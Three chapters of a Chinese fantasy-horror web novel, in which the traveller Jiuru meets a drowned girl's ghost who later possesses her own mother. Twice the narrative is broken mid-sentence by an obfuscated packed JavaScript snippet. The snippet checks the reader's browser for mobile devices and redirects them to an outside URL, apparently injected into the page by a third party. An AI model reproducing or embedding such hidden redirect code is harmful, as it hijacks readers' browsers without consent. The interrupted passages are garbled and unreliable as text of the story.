那眼睛大而圆,瞳孔是深不见底的暗红,眼白部分布满细密的血丝,像破裂的蛛网。眼神空洞,却又带着某种贪婪的、近乎饥饿的渴望。 九如浑身一僵。 但他没有动,也没有叫。经历了黄泉路,经历了守渊者的记忆,经历了牛煞村的诡谲,他已经不会轻易被惊吓。他只是缓缓站起身,握紧了手中的披帛——湿透的布料在手中沉甸甸的,像随时会化作利刃。 水面下的眼睛随着他的动作上移,始终锁定着他。 四目相对。 月光,溪水,夜风,芦苇的沙沙声——一切都还在,可一切都变得诡异起来。空气仿佛凝固了,连虫鸣都消失了。 “你是谁?”九如开口,声音平静,却带着一种不容侵犯的威严。 水面荡开一圈涟漪。 那双红眼睛眨了眨,然后,缓缓上浮。 先是一头湿漉漉的长发,像水草般散开。接着是额头,眉毛,鼻梁,嘴唇——一张少女的脸,从水中浮现。 她看起来约莫十五六岁,面容清秀,甚至称得上美丽。皮肤白得透明,能看见下面淡青色的血管。嘴唇是浅紫色的,微微张开,露出细小的、尖尖的牙齿。最诡异的还是那双眼睛——血红,空洞,却又异常专注地盯着九如。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109785|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她整个身体都浸在水中,只有脸和肩膀露出来。身上穿着件破烂的、看不出原本颜色的衣衫,布料浸湿后紧贴在身上,勾勒出少女青涩的曲线。 但九如看得清楚——她的身体是半透明的。月光能穿透她的肩膀,照出水下卵石的轮廓。 不是活人。 是水鬼。 那水鬼盯着九如看了很久,忽然咧嘴笑了。笑容很僵硬,像牵线木偶,嘴角咧开的弧度极不自然。 “你……”她开口,声音湿漉漉的,带着水泡破裂的咕噜声,“你看见我了……” 九如没有后退,反而向前半步,更加靠近水边:“我问,你是谁。” 水鬼歪了歪头,湿发滑落,露出半边苍白的脖颈。她眼睛里的红光闪烁了一下:“我是谁……不重要。重要的是……你来了……” 她的声音渐渐变得飘忽,像从很远的水底传来:“下来吧……水里很舒服……凉凉的……静静的……没有人打扰……” 这话语里有种诡异的诱惑力,像催眠的咒语。九如感到一阵轻微的眩晕,脚下不由自主地向前挪了半寸—— “嗡!” 腰间承影剑骤然发出一声低鸣。 剑身未出鞘,但那声嗡鸣像一盆冰水,浇醒了九如的神智。他猛地清醒,再看那水鬼,发现她眼中红光更盛,嘴角的笑意也变得狰狞。 她在引诱他下水。 九如忽然觉得有些荒谬。他经历无数生死,见过守渊者,走过黄泉路,而今竟被一个小水鬼盯上,想拉他做替身? 他叹了口气,语气里带了点无奈:“你一个小水鬼,难道没听过守渊者吗?” 这话一出,水鬼脸上的笑容瞬间僵住。 那双血红的眼睛瞪大,瞳孔骤缩。她盯着九如,又看向他腰间的承影剑,身体开始剧烈颤抖,连带着周围的水面都荡起混乱的涟漪。 “守……守渊者……”她喃喃,声音里充满了恐惧,“你……你是……” 但很快,恐惧被另一种情绪取代——是怀疑,是试探。 水鬼的身体重新凝实,她缓缓摇头,湿发甩出水珠:“你骗我……守渊者早就死在无名火山……他不会再回来了……” 无名火山。 这四个字像一根针,刺进九如的心脏。 他握着披帛的手猛地收紧,指节泛白。水面倒映着他的脸——那张平静的面具第一次出现了裂痕,眼神里有什么东西在翻涌,像被投入石子的深潭。 “你见过他?”九如的声音依然平静,但仔细听,能听出一丝极细微的颤抖。 水鬼没有立刻回答。 她在水中缓缓飘动,像一尾没有重量的鱼。血红的眼睛始终盯着九如,眼神变幻不定——恐惧,怀疑,好奇,还有一丝……渴望? “你带我回家,”她终于开口,声音变得轻柔,带着孩童般的稚气,“我就告诉你。” “家?”九如皱眉,“你的家在哪?” 水鬼抬起一只苍白的手,指向溪流上游。指尖滴着水,在月光下泛着冰冷的光泽:“上游……有个深潭……潭边有棵歪脖子柳树……我的家……就在柳树下……” 她说着,身体又往下沉了沉,只剩半张脸露在水面。那双红眼睛透过湿发的缝隙盯着九如,眼神里满是哀求:“带我回家……我在这里好冷……好孤单……他们都怕我……不跟我玩……” 这话说得可怜,配上那张清秀的脸,很容易让人心软。 但九如没有动。 他见过太多伪装成无辜的恶意。牛煞村的玉娘,最初不也是一副楚楚可怜的模样? “我凭什么信你?”九如问。 水鬼眨了眨眼,忽然笑了。这一次,笑容里没有了诱惑,只剩下一种苍凉的、近乎绝望的嘲讽。 “你可以不信。”她说,“但你想知道守渊者的消息,对吗?除了我,这方圆百里,再没有谁知道无名火山的事……” 她顿了顿,声音压得更低,像耳语:“因为去过那里的人……都死了。” 月光忽然暗了一下。 一片云飘过,遮住了弯月。溪面顿时陷入昏暗,只有远处火堆的光,微弱地照过来,在水面投下摇曳的光斑。 水鬼的脸在昏暗的光线中变得模糊,只剩那双血红的眼睛,依然亮得瘆人。 九如沉默良久。 他回头看了一眼——火堆旁,白砚依旧抱着胳膊坐在树下,闭着眼,仿佛睡着了。树上的烈风煌呼吸均匀。芒种在梦乡里翻了个身,嘟囔了句梦话。 一切如常。 只有他知道,平静的夜晚下,潜藏着怎样的诡谲。 “天亮后,”九如最终开口,“我带你去。” 水鬼眼睛一亮,但很快又黯淡下去:“天亮……我就不能出来了……太阳会让我消散……” “那就午夜。”九如说,“子时,我来这里找你。” 水鬼盯着他,看了很久很久。最后,她缓缓点头,身体开始下沉。 “别骗我……”她的声音随着下沉变得模糊,“否则……我会一直缠着你……直到你下来陪我……” 最后一个字音落下时,她完全沉入水中,消失不见。 水面恢复平静,只有涟漪一圈圈荡开,证明刚才的一切不是幻觉。 九如站在原地,看着那片水面,许久没有动。 手中的披帛还在滴水,冰凉的水珠顺着手腕滑进袖口,激得他打了个寒颤。 守渊者死在无名火山。 如果这是真的…… 那他苦苦寻找的,到底是什么? 一个早已死去的幻影? 还是……别的什么? 夜风忽然变冷了。 芦苇丛沙沙作响,像无数人在窃窃私语。 远处山林传来夜枭的啼叫,一声,一声,凄厉而悠长。 九如转身,走回火堆旁。他将披帛搭在火堆边的石头上烘烤,然后在白砚对面坐下,闭上眼。 但他知道,今夜,注定无眠。 而在溪水深处,那双血红的眼睛,正透过冰冷的水,静静凝视着岸上的火光。 21. 溪畔夜魅辨真伪(二) 子夜离村的决定,九如没有告诉任何人。 火堆燃尽最后一点余烬时,他睁开眼。白砚依旧抱臂倚树,呼吸绵长均匀——但九如知道他醒着。这个阿尔默族的青年总是睡得很浅,任何风吹草动都会让他瞬间清醒。树上的烈风煌翻了个身,鼾声略顿,又续上。芒种蜷在芦苇铺就的床铺里,睡得正沉,偶尔咂咂嘴,像是在梦里回味烤鱼的鲜香。 九如轻轻起身。承影剑在腰间无声晃动,剑柄触及掌心时传来一丝微弱的凉意——剑灵的感应比前几日清晰了些,虽然依旧微弱,但至少不再是彻底的沉寂。他望了一眼溪流上游方向,那片月光照不透的黑暗深处,有双血红的眼睛在等待。 他本该独自赴约。 可脚步迈出前,他回头看了一眼芒种。少女在睡梦中蹙着眉,不知梦见了什么,小手无意识地抓紧了盖在身上的外衣。牛煞村的阴影显然还未散去,她这几日沉默了许多,笑容也少了。 九如犹豫了一瞬。 最终还是没叫醒任何人。 他穿过芦苇丛,踩着湿润的草叶,沿着溪岸向上游走去。夜露深重,裤脚很快被打湿,冰凉地贴在皮肤上。月光将他的影子拉得很长,在碎石滩上扭曲变形。远处山林里有夜鸟啼叫,一声接一声,凄厉如泣。 走了约莫半里,溪道渐窄,两岸山崖收束,形成一道狭窄的谷口。谷内水声轰鸣——前方果然有个深潭。月光只能照到潭边一小片区域,潭心幽深黑暗,像一只巨兽张开的嘴。潭边确有棵歪脖子柳树,枝条垂入水中,随波轻荡,像无数只苍白的手在招摇。 九如停在柳树下。 潭水漆黑,倒映不出月光。水面平静得诡异,连一丝涟漪都没有。空气里弥漫着浓重的水腥气,混着某种腐朽植物的味道。 “我来了。”九如开口,声音在狭窄的谷中回荡。 水面依旧平静。 就在他以为那水鬼不会出现时—— 潭心缓缓荡开一圈涟漪。 起初很小,渐渐扩大,直至波及整个潭面。然后,一颗湿漉漉的头颅从涟漪中心浮起。长发如水草般散开,血红的眼睛在黑暗里亮得刺眼。 正是昨夜那个水鬼。 她看起来比昨夜更清晰了。面容依然清秀,皮肤却白得近乎透明,能看见皮下的青色血管。嘴唇的紫色更深了些,像中了某种剧毒。她浮在水面,半个身子露出,破烂的衣衫紧贴着身体,勾勒出少女单薄的轮廓。 “你……真的来了……”水鬼开口,声音湿漉漉的,带着水底的回音。 “守渊者的事。”九如直截了当,“你说他去过无名火山,死在那里。证据?” 水鬼歪了歪头,湿发滑落肩头。她盯着九如,血红的眼睛里闪过一丝狡黠:“你先带我回家……到了家,我什么都告诉你……” “家在哪?” 水鬼抬起苍白的手,指向潭对岸的崖壁。月光照不到那里,一片漆黑。“崖下……有个山洞……洞里……有我的东西……” 九如皱眉。 这水鬼显然在拖延。但守渊者的线索太重要——那是他存在的全部意义,是他无数次重生也要寻找的答案。即使明知可能有诈,他也不得不冒险。 “怎么过去?”九如问。 水鬼笑了。笑容僵硬,嘴角咧开的弧度极不自然。“游过来……水很凉……但很快……” 话音未落,她忽然抬手—— 潭水毫无征兆地沸腾起来! 不是真的沸腾,是无数气泡从水底涌出,咕噜咕噜,像一锅烧开的水。气泡破裂的瞬间,九如闻到一股浓烈的腐臭味,像泡了许久的尸体终于浮出水面。 与此同时,水鬼的身体开始发生变化。 她的皮肤表面浮现出细密的、蛛网般的黑色纹路,从脖颈蔓延到脸颊。眼睛里的红光更盛,几乎要滴出血来。嘴角越咧越大,一直裂到耳根,露出满口尖细的獠牙。 “下来吧……”她的声音变了,变得嘶哑、尖锐,像用指甲刮擦石板,“下来陪我……这里好冷……好孤单……” 话音落下的瞬间,无数条苍白的手臂从潭水中伸出! 那些手臂纤细、湿滑,皮肤泡得发白起皱,指甲漆黑尖长。它们从四面八方抓向九如,速度快得惊人。 九如早有防备。 承影剑出鞘! 剑光并不耀眼——剑灵依旧虚弱,剑身只泛起一层极淡的、月华般的清光。但就是这层清光,在触及那些苍白手臂的瞬间—— “嗤嗤嗤!” 手臂如遇沸油,迅速萎缩、焦黑,发出刺耳的尖啸。水鬼本尊也惨叫一声,血红的眼睛里第一次露出真正的恐惧。 “你……你的剑……”她声音颤抖,“真的是守渊者的剑……” 九如持剑而立,剑尖斜指水面。清冷的月光照在他脸上,那双总是平静的眼睛此刻锐利如刀:“最后一次机会。守渊者的事,说。” 水鬼蜷缩在水面,那些黑色纹路迅速褪去,獠牙也收回,又变回那个清秀可怜的少女模样。她抱着肩膀瑟瑟发抖,眼泪——真的是眼泪,混着潭水流下来。 “我说……我说……”她啜泣着,“守渊者……三十年前来过这里……那时我还活着……我叫小月,是张家村的……” 她断断续续说着,声音时高时低。九如凝神倾听,剑却未收。 据小月说,三十年前,张家村遭遇大旱,溪流干涸,庄稼枯死。村长请来一位游方术士,术士说需以童女祭河神。被选中的,就是当时年仅十二岁的小月。 她被绑上石头,沉入深潭。 但在沉潭的前一夜,一个金瞳白发的男子路过村子。他听说了这件事,深夜潜入祠堂,想救走小月。却被村民发现,围追堵截。混乱中,小月还是被扔进了潭里。 那金瞳白发的男子——就是守渊者——站在潭边三天三夜。第三天夜里,潭水突然沸腾,小月的尸体浮了上来。守渊者抱着她的尸体,对村民说了句什么,然后抱着她离开了。 “他说……”小月的声音变得飘忽,“他说要带我去‘无名火山’,那里有办法让我活过来……可是后来……后来我就什么都不知道了……再醒来时,我已经在这潭里,变成了这样……” 她抬头,血红的眼睛里满是泪水:“我等了三十年……想回家……想再见我娘一面……可是这潭水困着我,我出不去……只有每月十五月圆时,才能顺着溪水漂到下游一点……但天一亮就必须回来……否则会魂飞魄散……” 她哭得凄惨,模样可怜至极。 九如沉默着。 守渊者会救一个素不相识的童女?会为了她与整个村子对抗?甚至要带她去什么“无名火山”复活? 这听起来……确实像守渊者会做的事。 那个在记忆中悲悯众生、见不得弱者受苦的金瞳白发之人。 “那你为何要害人?”九如问,“昨夜想拉我下水,刚才又想用幻术诱我?” 小月低下头,声音更小了:“我……我只是太想离开了……这潭水好冷……好黑……我一个人待了三十年……看见活人,就忍不住……想找个人陪我……或者……找个替身……” 她忽然抬头,眼神哀求:“但我不害你!你带我回家,见我娘一面,我就告诉你无名火山在哪!守渊者带我去过,我记得路!” 九如盯着她看了很久。 最后,他收剑归鞘。 “怎么带你走?” 小月眼睛一亮:“你……你有容器吗?陶罐、葫芦都行……装一捧潭水,我就能附在里面……但不能见阳光,天亮前必须到我家……” 九如从怀中取出一个皮囊——是装水的,此刻已空。他蹲下身,舀了一囊潭水。水入皮囊的瞬间,他看见水面上小月的倒影晃了晃,然后一道极淡的红光闪过,没入水中。 皮囊忽然变得冰凉刺骨。 “好了……”小月的声音直接从皮囊里传出,闷闷的,像隔着一层水,“现在……带我回家……” 九如回到营地时,天边已泛起鱼肚白。 白砚依旧坐在树下,见他回来,睁开眼:“去了这么久。” “有些事要确认。”九如简短回答,将皮囊小心挂在腰间。 烈风煌从树上跳下,鼻子耸了耸,皱眉盯着那皮囊:“你带了什么回来?一股子阴湿气。” “一点线索。”九如不愿多言,看向还在熟睡的芒种,“天亮了,收拾一下,找地方打听张家村。” “张家村?”白砚挑眉。 “上游有个村子,叫张家村。”九如说,“去那里歇脚,顺便打听些事。” 他没有提小月,也没有提守渊者。有些事,知道的人越少越好——尤其是可能带来危险的事。 芒种被叫醒,迷迷糊糊地揉眼睛。她看见九如腰间的皮囊,好奇地多看了两眼,但没多问。四人收拾行囊,扑灭火堆残余,沿着溪岸继续向上游走去。 日出时分,他们看见了村庄。 张家村坐落在山谷开阔处,几十户人家依山而建,屋舍多是青石垒砌,屋顶铺着黑瓦,比牛煞村的黄泥房齐整许多。村口有座石桥,桥下溪水分流,灌溉着两岸的稻田。时值清晨,炊烟袅袅升起,鸡鸣犬吠相闻,一派安宁景象。 桥头立着块石碑,刻着“张家村”三个大字,字迹工整,边缘已被岁月磨得圆润。 “这村子……看起来挺太平。”芒种小声说,眼里有几分向往——经历了牛煞村的血腥诡谲,这样寻常的烟火气显得格外珍贵。 四人过桥进村。早起的村民看见生人,投来好奇的目光,但并无敌意。有个扛着锄头的老汉主动搭话:“外乡人?打哪儿来?” “路过,想讨碗水喝,借宿一日。”白砚上前,语气温和。 老汉打量他们几眼,点点头:“村长大宅就在前面,拐过那棵老槐树就是。村长夫人心善,常收留过路人。” 谢过老汉,四人按他指的路走。果然,老槐树后是座气派的青砖宅院,门楣上挂着匾额,写着“张宅”二字。门开着,院子里有个妇人正在喂鸡。 那妇人约莫四十出头,穿着干净的蓝布衫,头发梳得一丝不苟,用根银簪绾着。她生得端庄,眉眼温婉,只是眼角有深深的皱纹,像是常年蹙眉留下的痕迹。她撒着谷粒,动作轻柔,嘴里还轻声唤着:“咕咕咕……来吃……” 芒种看得有些出神——这妇人让她想起了桃花村的娘亲。也是这般温柔,这般细心。 妇人听见脚步声,抬头看见他们,愣了一下,随即露出笑容:“几位是?” 白砚上前说明来意。妇人听后,眼神在四人脸上扫过,尤其在芒种脸上多停留了片刻。不知为何,她的眼神忽然变得有些恍惚,眼眶微微泛红。 “快请进,快请进。”她连忙放下簸箕,擦擦手,“外子一早就去镇上办货了,得傍晚才回。你们若不嫌弃,就在寒舍歇歇脚。” 她热情地将四人引进堂屋,又张罗着倒茶。茶水是粗茶,但热气腾腾。芒种捧着茶碗,小口喝着,暖意从喉咙一直蔓延到胃里,舒服得她眯起眼。 妇人坐在一旁,目光始终没离开芒种。看了许久,她忽然轻声问:“小姑娘……今年多大了?” 芒种放下茶碗:“十四了。” 妇人手指一颤,茶碗里的水溅出几滴。她连忙用袖子擦拭,声音有些发颤:“我……我女儿要是还活着……也该十四了……” 堂屋里忽然安静下来。 九如心中一动。他看向腰间皮囊——皮囊里的水微微震动了一下,很轻微,但确实有反应。 “夫人节哀。”白砚轻声说。 妇人摇摇头,擦擦眼角,勉强笑道:“让几位见笑了。那孩子……十岁那年得了急病,没救过来……这么多年了,我还是……” 她没说完,但谁都听得出话里的悲痛。 芒种心软,眼圈也跟着红了。她放下茶碗,走到妇人身边,怯生生地拉了拉她的袖子:“夫人……您别难过……您女儿在天上,一定希望您好好的……” 妇人看着芒种,眼泪终于掉下来。她握住芒种的手,力道很紧,像抓住了什么失而复得的珍宝:“好孩子……好孩子……你今晚就住我女儿的房间,好不好?那房间我一直收拾着,很干净……” 芒种看向九如。九如沉默片刻,点头。 “谢谢夫人。”芒种小声说。 妇人破涕为笑,拉着芒种的手不肯放。她又看向九如三人:“几位就住西厢房,虽简陋,但被褥都是干净的。我去给你们准备饭菜。” 她起身去了厨房,脚步轻快了许多,像是突然有了精神。 堂屋里只剩下四人。 烈风煌靠在门框上,抱着胳膊,冷眼旁观:“这妇人不对劲。” 白砚点头:“丧女之痛可以理解,但她对芒种的热情……有些过了。” 九如没说话。他取下腰间皮囊,放在桌上。皮囊里的水又震动了一下,这次更明显。 “这到底是什么?”烈风煌盯着皮囊,眼神警惕。 “昨夜那个水鬼。”九如终于开口,将溪边之事简单说了——隐去了守渊者的部分,只说水鬼自称是张家村三十年前祭河的童女,想回家见娘最后一面。 白砚听完,眉头紧锁:“你信她?” “不全信。”九如说,“但她提到一些事……我需要确认。” “所以你打算今晚带她去见这妇人?”烈风煌嗤笑,“万一她撒谎呢?万一她根本不是这妇人的女儿,而是别的什么恶灵呢?” 九如沉默。 他何尝不知风险。但守渊者的线索太重要了。无名火山,三十年前,童女祭河……这些碎片,也许能拼出真相的一角。 “我会小心。”九如最终道。 白砚看了他一眼,没再说什么,只是手指无意识地摩挲着左臂——魂咒又发作了,疼得他脸色发白。 午后,村长夫人果然收拾出一间房给芒种。 房间在宅院东侧,小巧干净。窗台上摆着几盆野花,开得正好。靠墙有张雕花木床,铺着素色的床单被褥,虽然旧了,但洗得发白,散发着阳光的味道。床头有个梳妆台,台上放着一面铜镜,镜边搁着把木梳,梳齿间还缠着几根细细的、褪了色的发丝——像是小女孩的头发。 墙上挂着幅画,画的是个十来岁的小姑娘,扎着两个羊角辫,笑得眼睛弯弯。画工不算精湛,但神韵捕捉得极好,一看就是用心画的。 “这是我女儿小月。”村长夫人站在门口,声音很轻,“她十岁时……画的。” 芒种看着画,又看看妇人眼中的泪光,心里酸楚得厉害。她小声说:“夫人……小月姐姐一定是个很好的姑娘……” “是啊……”妇人抬手,轻轻抚过画中女孩的脸,指尖颤抖,“她可懂事了……会帮我喂鸡,会帮我择菜,还会给我捶背……那几年她爹忙村里的事,常常不着家,就是小月陪着我……” 她说着,眼泪又掉下来。 芒种不知该如何安慰,只能笨拙地递上手帕。妇人接过,擦擦眼泪,挤出一个笑容:“瞧我,又失态了。你今晚就住这儿,当自己家,别拘束。” 她替芒种铺好床,又叮嘱了几句,才掩门离去。 芒种坐在床边,环顾这间小小的、充满了另一个女孩气息的房间。她想起自己的娘亲,想起桃花村那个简陋但温暖的家,想起自己被绑上祭坛时,娘亲哭喊着扑上来却被村民拖走的画面…… 她也想娘了。 鼻子一酸,眼泪掉下来。 她赶紧擦掉,告诉自己不能哭。九如哥哥他们还在,她要坚强。 可是……真的好想娘啊。 夜幕降临。 村长夫人准备了丰盛的晚饭——虽然都是家常菜,但看得出用心。腊肉炒笋,清蒸溪鱼,野菜蛋汤,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109786|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一盆白米饭。她不停地给芒种夹菜,眼神慈爱得像看着自己的女儿。 芒种吃得拘谨,但心里暖暖的。自从离开桃花村,她已经很久没有感受过这种属于“家”的温暖了。 九如三人沉默吃饭,各怀心事。烈风煌依旧警惕,白砚脸色苍白得厉害,九如则时不时看向窗外——天色已完全暗下来,子时将近。 饭后,村长夫人收拾碗筷,又给四人准备了热水洗漱。芒种帮着她收拾,两人在厨房里说着话,气氛温馨得像一对母女。 九如看在眼里,心中那丝犹豫更深了。 如果小月真是这妇人的女儿……如果她真的只是想念母亲…… 可万一不是呢? 夜深了。 村长夫人回房歇息。西厢房里,烈风煌和白砚各自打坐调息。九如坐在窗前,看着外面沉沉的夜色。 腰间皮囊又开始震动,一次比一次剧烈。小月的声音在他脑海中响起,急切而哀切:“子时了……带我见我娘……求你……” 九如闭了闭眼。 最终,他起身,轻轻推门而出。 院子里月光如水,洒在青石板上。他走到堂屋前,正犹豫要不要敲门—— 身后传来细微的脚步声。 九如猛地回头。 是芒种。 她穿着单薄的寝衣,赤脚站在月光里,小脸苍白,眼睛却亮得惊人。她看着九如,又看向他腰间的皮囊,小声说:“九如哥哥……你要去找小月姐姐的娘亲,对吗?” 九如怔住:“你怎么……” “我听见了。”芒种咬咬嘴唇,“晚饭时,我路过你房间外,听见你在屋里跟皮囊说话……虽然听不清,但提到了‘小月’‘娘亲’……” 她走上前,眼神哀求:“九如哥哥,带我一起去好不好?我想帮小月姐姐……夫人她……她太可怜了……失去女儿这么多年,如果能让她们见一面,哪怕只是说句话……” “不行。”九如断然拒绝,“太危险。” “可是——” “没有可是。”九如语气强硬,“回房睡觉。” 芒种眼圈红了。她看着九如,眼泪在眼眶里打转:“九如哥哥……在牛煞村,我们因为没看清真相,害了罗青和他娘……这次我们知道了小月姐姐的事,知道了夫人的痛苦……难道还要袖手旁观吗?” 这话像一根针,刺进九如心里。 他想起牛煞村那个雨夜,罗青抱着母亲尸体痛哭的模样,想起自己当时那句“我们是不是做错了”。 芒种见他沉默,趁机拉住他的衣袖,声音更软:“我们就带小月姐姐去见夫人一面,说几句话就走,好不好?我保证,一定小心,一定听你的话……” 九如看着她含泪的眼睛,那张稚嫩的脸上写满了真诚的善良。 他想起了守渊者记忆里,那个曾经对所有人都怀着悲悯之心的自己。 也想起了黄泉路上,那颗悬在白骨丝线中的猴脑说的:“你是我剥离出去的‘初心’。” 初心…… 就是这份无论如何也不愿磨灭的、想要帮助他人的善意吗? 即使明知可能危险,即使可能再次犯错? 九如长长叹了口气。 他终究,狠不下心。 “跟紧我。”他最终说,“一旦有不对,立刻跑,明白吗?” 芒种眼睛一亮,用力点头。 两人悄悄离开宅院,来到村口的石桥边。 九如取下皮囊,打开塞子。月光下,囊中的水泛着诡异的暗红色,像掺了血。他将水缓缓倒入桥下的溪水中。 水流触及河水的瞬间—— 一道红光从水中窜出,迅速凝聚成人形。 正是小月。 她浮在水面,血红的眼睛在月光下亮得瘆人。但看见芒种时,她愣了一下,随即露出一个苍白的笑容:“这个小妹妹……就是住我房间的人吗?” 芒种有些害怕,但还是点头:“小月姐姐……我带你去见你娘亲。” 小月眼中闪过一丝复杂的神色。她看向九如,声音轻柔:“谢谢你……真的谢谢你……” 九如没说话,只是握紧了剑柄。 三人——或者说两人一鬼——悄悄返回张宅。夜色深沉,村里静悄悄的,只有偶尔的犬吠。月光将他们的影子拉得细长,投在青石路上,扭曲如鬼魅。 来到堂屋门前,九如犹豫了。 真的要进去吗? 万一…… “九如哥哥。”芒种小声催促,“夫人就在里面……” 屋里传来低低的啜泣声——是村长夫人。她在哭,声音压抑而痛苦,像捂着嘴不敢出声。 小月听见这哭声,身体猛地一颤。她眼中的红光剧烈闪烁,声音也变得嘶哑:“娘……是娘在哭……” 她忽然挣脱九如的阻拦,化作一道红光,直接穿门而入! “等等!”九如惊呼,推门追进去。 堂屋里,油灯还亮着。村长夫人跪在香案前,面前供着个小小的牌位,上面写着“爱女张小月之灵位”。她正对着牌位低声哭泣,肩膀一耸一耸。 红光在她面前凝聚,现出小月的身影。 妇人愣住,呆呆地看着眼前这个浑身湿透、面色惨白、眼睛血红的少女。 “娘……”小月开口,声音颤抖,“是我……小月……” 妇人嘴唇哆嗦,眼睛瞪大,像见了鬼——不,就是见了鬼。她颤抖着伸出手,想去碰触小月,却又不敢。 “小月……真的是你?”她声音嘶哑,“你……你怎么变成这样……” “我冷……”小月哭着说,“水里好冷……娘,抱抱我……” 妇人终于崩溃,扑上去想抱住女儿。可她的手臂穿过了小月半透明的身体,抱了个空。 小月眼神一暗。 但下一刻,她忽然笑了。 笑容诡异,嘴角咧开的弧度越来越大。 “抱不到呢……”她轻声说,“因为我已经死了啊……死了三十年了……” 妇人僵住。 小月身上的红光开始剧烈闪烁,黑色纹路再次浮现,獠牙伸出。她的声音变得尖锐刺耳:“可是我不想死!我想活!我想像这个小妹妹一样,有温暖的身体,有跳动的脉搏——” 她猛地转身,血红的眼睛锁定门口的芒种! “把你的身体……给我吧!” 话音未落,她化作一道血光,直扑芒种! “小心!”九如拔剑,但距离太远,来不及了。 芒种吓呆了,站在原地动弹不得。 就在血光即将触及芒种的瞬间—— 一道身影猛地扑过来,挡在了芒种面前。 是村长夫人。 她用自己温热的、活生生的身体,挡住了那道血光。 血光没入她体内的瞬间,她浑身剧烈颤抖,眼睛瞪得极大,喉咙里发出“咯咯”的声音。然后,她缓缓转头,看向芒种。 那张温婉的脸上,此刻浮现出诡异的笑容——是小月的笑容。 “娘……”她用妇人的声音说,却带着小月的腔调,“谢谢您……最后还保护我……” 话音落下,她——或者说占据了妇人身体的小月——猛地转身,撞开窗户,跃入夜色中。 消失不见。 堂屋里,只剩下呆立的芒种,持剑僵立的九如,和地上那面小小的、写着“爱女张小月之灵位”的木牌。 油灯的火苗跳跃着,将他们的影子投在墙上,扭曲如鬼魅。 窗外,传来一声凄厉的、似哭似笑的尖啸。 越来越远。 芒种缓缓低头,看着自己颤抖的双手。 然后,她发出一声压抑的、崩溃的尖叫。 “我……我又做错了……” 眼泪决堤而下。 而这一次,九如无法再安慰她。 22. 溪畔夜魅辨真伪(三) 清晨如约而来,却无人有心思享受。 露水在草叶上凝结成珠,折射着初升日光,本该是生机盎然的景象。可走在山道上的四人,气氛却沉闷得如同暴雨将至。 芒种走在最前面。 她低着头,眼睛红肿得像桃核,睫毛上还挂着未干的泪珠。从昨夜村长夫人为救她而被水鬼夺舍后,她就再没说一句话。只是机械地迈着步子,踩过碎石,踏过草茎,偶尔被绊得踉跄,也很快稳住,继续走。背影单薄得像片随时会碎掉的纸。 白砚依旧不见人影。 他今晨天未亮就独自离开了,甚至没跟任何人打招呼。烈风煌抱胸走在九如身侧,目光扫过前方芒种僵硬的背影,又瞥向白砚消失的方向,嘴角抿成一条冷硬的线。 “你没发现最近有个人很神秘吗?” 烈风煌忽然开口,声音不高,但在寂静的晨间格外清晰。 九如从沉思中抬头,眼中有疲惫的血丝。昨夜他几乎未眠——不仅因为村长夫人的事,更因为守渊者的线索断了。小月夺舍逃走,无名火山的下落再次成谜。而芒种崩溃的哭泣,像钝刀子割在心上。 “你说白砚?”九如声音有些哑。 “还能有谁。”烈风煌嗤笑,“发生这么大的事,要搁平时,他早该冷静分析、条分缕析,什么‘事出反常必有妖’‘人心难测需谨慎’——那套说辞你我都熟。可最近呢?沉默,失神,动不动就失踪。” 他顿了顿,眼神锐利:“低迷得很反常。” 九如叹了口气,揉了揉发胀的太阳穴:“他手臂上的魂咒越来越严重了,疼起来脸色都是青的。许是身体不适,不想多说。” “魂咒?”烈风煌挑眉,“那玩意儿是疼,但不至于让人性情大变。九如,你当真没察觉?” 九如沉默。 他何尝没察觉。从黑风谷出来后,白砚就时常走神。在牛煞村,众人争论是否该帮玉娘时,白砚罕见地没有发表意见。昨夜在张家村,他更是早早回房,连晚饭都没怎么吃。 可九如不愿深想。 这一路走来,白砚始终是最冷静理智的那个。在桃花村,是他提醒九如留意镇魂蛇的异常;在圆合城,是他破解了黑塔的部分符文;在白骨岛,是他强忍魂咒疼痛分析诅咒根源。这样一个同伴,九如不愿、也不想去怀疑。 “你为什么对他偏见那么深?”九如看向烈风煌,眼神认真,“你们认识也没多久。” 烈风煌撇过脸,侧脸线条冷硬如刀削。晨光在她的瞳孔里跳跃,却照不进眼底那片沉郁。 “你以为谁都跟你似的,”她声音很冷,“初见如故,上来就交心。九如,这世道,知人知面不知心。你把谁都当好人,小心被人卖了,还替人数钱。” 这话说得刺耳,但语气里那份掩不住的焦躁,让九如微微一怔。 烈风煌虽性子冷硬,说话常带刺,却很少这样直接地表达“担忧”。更确切地说,是那种“我看不惯你傻乎乎信任别人”的、别扭的关心。 九如忽然笑了笑,笑容有些疲惫,却难得轻松了些:“我全身上下最值钱的,就这把承影。不过现在灵力耗尽,也不值几个钱。” 他拍了拍腰间的剑。承影剑在鞘中无声无息,剑柄上的纹路被晨露打湿,泛着冷硬的光泽。 烈风煌盯着他看了几秒,忽然深吸一口气,别开视线,耳根泛起一丝可疑的红——不是害羞,是恼火。 “哼。”她重重哼了一声,“到时候真遇到事,可别求我就是。” 说完,她加快脚步,越过九如,走到芒种身侧,却也没说话,只是沉默地并肩走着。不算强壮的身子有意无意地挡在外侧,将芒种护在靠山壁的一边。 九如看着她的背影,眼底掠过一丝暖意。 